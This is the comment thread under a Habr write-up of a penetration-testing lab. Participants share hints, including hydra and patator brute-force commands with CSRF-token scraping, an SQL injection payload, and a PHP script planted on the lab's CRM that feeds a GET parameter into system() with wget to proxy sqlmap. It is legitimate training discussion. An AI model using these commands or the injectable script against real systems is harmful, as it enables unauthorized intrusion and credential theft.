Как стать автором
Обновить

Комментарии 41

Алексей, поздравляю с заслуженной победой в лаборатории!
Спасибо! И отдельное спасибо за саму лабораторию :)
Читал с большим интересом, спасибо за детальный разбор!
Поздравляю с победой!

А у CRM был интересный подкаталог — Migrate, где можно было брутить без токена. А судя по чатику многие новички зависли именно на этом.
Спасибо за дополнение. Да, тогда запрос для поврота и форма выглядели бы вот так:

А, еще вспомнил — в AD на юзера administrator пароль такой же, как на user на машинах 192.168.13.2-3. Его легко подобрать словарем rockyou.
НЛО прилетело и опубликовало эту надпись здесь
Много уязвимостей связаны с неправильной конфигурацией, MiTM или собственными веб-разработками, но, конечно, некоторые вещи (как повышение привилегий на RDP) серьезно затруднили бы возможность попадания на некоторые машины.
А я сайт брал после заливки в CRM, написал скрипт для локального доступа из шела к сайт и потом скормил его sqlmap по ссылке
http://192.168.101.10:88/cron/p.php?kc_ad=16

сам код скрипта p.php:

<?
echo system("wget -qO- 'http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=".$_GET['kc_ad']."'");
?>
Отличное дополнение, спасибо! Кстати, альтернативное прохождение с использованием SQLmap тоже будет интересно.

Еще можно воспользоваться инструментами вроде reDuh или reGeorg, чтобы организовать туннелирование через HTTP, и тоже попасть на сайт.
image
а вот в этих местах, как альтернативное решение, можно было бы попробовать через почту пробиться, возможно помогло бы значительно время сэкономить.
Да, попытки такие, конечно, были, но, насколько я знаю, в эти эккаунты никому попасть не удалось
Почему-то не брутфорсится вход с crm, я даже нашел ваш список 100к паролей и выудил оттуда пароль под номером 44332, это должен быть
Пароль
bornfree
, в систему все равно не заходит. Хочу пройти лабу сам(прочитал только начало статьи), но вот так вот запороться на брутфорсе обидно.
Это не тот пароль — Burp не всегда по порядку нумерует запросы когда они идут в ста параллельных потоках. Можно сравнивать по размеру ответа от сервера (HTTP response) — для нужного пароля он будет отличаться.

Но в целом — он и правда в диапазоне 44300–44400.
К сожалению, ни hydra, ни burp все равно не находят пароль, прошу помощи. Вот параметры гидры, убирал из запроса __vtrftk и возвращал его, ничего менялось.
код
hydra -l admin -P 100passes.txt -o hydra.log -V 192.168.101.10 -f -s 88 http-post-form "/index.php?module=Users&action=Login:username=^USER^&password=^PASS^:Invalid" -t 16


Так же в бурпе добавлял куки, тоже не помогло.
Попробуйте параметр в гидре -t 16 поменять на -t 1
А можете показать скриншот конфигурации Burp Intruder? Еще как писали выше, можно попробовать аутентификацию в папке /migrate.
Ну, во-первых, как я писал выше прощебрутить подпапку /migrate, там нет токена.
Во-вторых, бурпом, конечно, проще формы с токеном брутить, но уметь настроить надо.

А для гидры, нужно создать в консоли переменную, в которую парсится значение токена:
CSRF=$(curl -s "192.168.101.10:88" | awk -F 'value=' '/__vtrftk/ {print $2}' | cut -d '"' -f2)

Затем подставлять в гидре:
__vtrftk=${CSRF}

Должно работать)
Попробуй сократить список паролей, оставив по 50-100 от bornfree с каждой стороны, и убрать у гидры параметр -t
Hello, for me this command line works fine:
hydra 192.168.101.10 http-form-post "/index.php?module=Users&action=Login:username=^USER^&password=^PASS^:Invalid username or password." -l admin -P passtemp.txt -t 10 -w 10 -o hydra-http-post-attack.txt -s 88 -V

Hope it will help a little.
And these one too:

./patator.py http_fuzz method=POST url=«http://192.168.101.10:88/index.php?module=Users&action=Login» body='username=admin&password=FILE0' 0=passtemp.txt -t 1 -x ignore:code=302,fgrep='Location: index.php?module=Users&parent=Settings&view=Login&error=1' -l /root/Bureau/patator/patator-master/tmp/

./patator.py http_fuzz method=POST url=«http://192.168.101.10:88/index.php?module=Users&action=Login» body='username=admin&password=FILE0' 0=100K.txt -t 50 -x retry:code=xxx -x quit:size=492 --max-retries=-1
По CUPS есть вопрос, панель админа с basic http авторизацией тупо брутилась? Или был еще где-то ключ для ssh подключения к данному компу?
Basic HTTP — пароль туда не был найден; веб приложение «local storage» содержало SQL-инъекцию, а уже в нем можно было найти SSH-ключ для дальнейшего продвижения по сети.
Ради интереса… можно с помощью скули выдернуть БД, глянуть что там есть и данные аунтефикации попробовать вставить в бейсик, а там глядишь может варианты и для заливки появятся, может еще что интересного найдется после заливки…
Хороший вариант. Это было сделано, но учетные данные не подошли к части закрытой за basic auth.
Я застрял на morgan.key (там где переписывание символов со скриншота). Выдает ошибку «Permission denied (publickey)». Списал и потом три раза перепроверил буковки. Где может быть засада?
Я тоже долго переписывал, и просил друзей перепроверить — наверное все же где-то ошибка
Действительно, нашел одну ошибку, теперь всё ок.
В моем случае волнистые линии сыграли свою оптически-обманную роль.
Hello, I'm a french user and a true beginner in pentesting.
First: Sorry for my spelling and congrats for finishing this course.
By the way, you can answer in Ru, i use the google translator, and it works fine.

With your help and a with a lot of fail, i've found the CRM token, i use patator (best i find to avoid false positive in brute force method)

I manage to gain access to Office2 server and i'm stuck here.
I know i have to find a method to gain access to log file where the user name is (auth.txt?). I'm looking for a solution since the last tow days.
I have tried dirtycow, but with no gcc compiler, i use a virtual machine to compile it, but no success @ all. How can i have access to this var/log dir?

Thx again :)
Hey, thank you.

At this point, you don't have to access the auth.txt file and/or go to /var/log. Instead, by reviewing the /etc/openvpn/server.conf you can find out that the VPN username is Office-2 (it says «auth for Office-2», hinting that «Office-2» is an actual username).

The same config also exposes the OpenVPN server IP address, port, and CA values, from which we can construct a valid OpenVPN config file (see above).

So, your next step would be to copy that OpevVPN config file from this article, and then use one of the OpenVPN bruteforcers to go through a number of guesses and find what the actual password is.

Unfortunately, auth.txt will remain hidden as that server is fully patched, but because the password they use is found in john.txt, there's no big deal about it.

Thank you and good luck!
Oh my god, it was so obvious. :(
Thank you very much :)
It's good, thx again.

I have access to the other network :) :) :)
Congrats!
Hi,
Ad Tokens find.
Let's try to find the rest :)
Hello, how are you?

I need your help again, just a tips not the solution.

How can i access to the rdp in the dir directory? I can't find a way to connect to the .1 and the .3
and the .2 didn't answer with xfreerdp or another rdp software.

Regards,

Areop
Nevermind, it's good now :)
Sorry for the delay! Actually, because these machines are susceptible to privilege escalation, some people may take them down. You can reach out to lab admins to fix it.
Oki, it make sens.

THx for the answer :)

Regards,

Areop
Здравствуйте, alexeystoletny!
Имею наглость спросить о составлении синтаксиса SQLi для SITE.
Немогу сам разобраться. Все работает, но хотелось бы понять.

Почему используются hex значения kc_ad_css и tl_token?
И из этого видимо вытекает вопрос, в чем заключается смысл использования SELECT запроса через запятую в скобках, а не сразу использование его после UNION?

И так же про SQLi в local storage, почему вы используете три дэша (admin' or 1=1 — -), а не два?

Очень надеюсь, что у Вас появиться момент разъяснить эти вопросы! Заранее, спасибо!
Видимо докопался до истины. Отвечу на свой же вопрос, на случай если кто либо тоже с ними столкнется:
  1. hex значение, насколько я понял, используются для обхода невозможности использовать ковычки в запросе. String хексом база воспринимает как текст в ковычках.
  2. SELECT в скобках это так называемый subquery: dev.mysql.com/doc/refman/5.7/en/subqueries.html
    В этом случае нужен, так как base.css.php проверяет сначала наличие ключа «kc_ad_css», а потом выводит второй элемент SELECT запроса. Что бы туда вытащить токен, без subquery не обойтись.
  3. Насколько я могу предположить, третий дэш может быть чем угодно, это просто наполнитель комментария, что бы он не был пустым?

Если ошибаюсь, надеюсь меня поправят!
Да, все верно, прошу прощения за задержку!
Зарегистрируйтесь на Хабре, чтобы оставить комментарий